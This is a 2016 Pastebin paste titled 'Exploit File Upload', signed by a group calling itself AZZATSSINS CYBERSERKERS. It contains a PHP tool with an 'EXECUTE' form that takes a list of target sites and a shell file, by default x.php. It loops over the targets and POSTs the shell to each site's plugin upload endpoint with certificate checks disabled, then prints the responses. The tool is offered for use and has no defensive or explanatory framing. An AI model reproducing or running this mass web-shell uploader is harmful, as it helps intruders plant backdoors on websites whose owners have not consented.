Advertisement
AZZATSSINS_CYBERSERK

Exploit File Upload

May 9th, 2016
356
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.15 KB | None | 0 0
  1. <title>Exploit Upload</title><body bgcolor=silver><center><div style=background:black;margin:0px;padding:4px;text-align:center;color:silver;><i><b><font color=lime>&copy; </font><a href=mailto:[email protected]>AZZATSSINS CYBERSERKERS</a></b></i></div><br><br><br><form method="post">Your Target  : <input type="text" class="input" name="sites" size="10" value="http://target.mu/plugin/upload.php"><br>Your Shell  : <input type="text" class="input" name="file" size="10" value="x.php"><br>
  2. <input style="background:dodgerblue;margin:1px;width:15%;padding:0px;color:#fff;border:0;font-weight:bold;" name="conf" class="ipt" value="EXECUTE" type="submit"><br><br></form></center>
  3. <?php
  4. $e=explode("\n",$_POST['sites']);
  5. $file = $_POST['file'];
  6. foreach($e as $sites){
  7. $post = array("files[]" => "@$file",
  8. );
  9. $ch2 = curl_init ($sites);
  10. curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
  11. curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
  12. curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
  13. curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
  14. curl_setopt ($ch2, CURLOPT_POST, 1);
  15. curl_setopt ($ch2, CURLOPT_POSTFIELDS, $post);
  16. $data = curl_exec ($ch2);
  17. echo $data."\n\n\n";
  18. }
  19. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement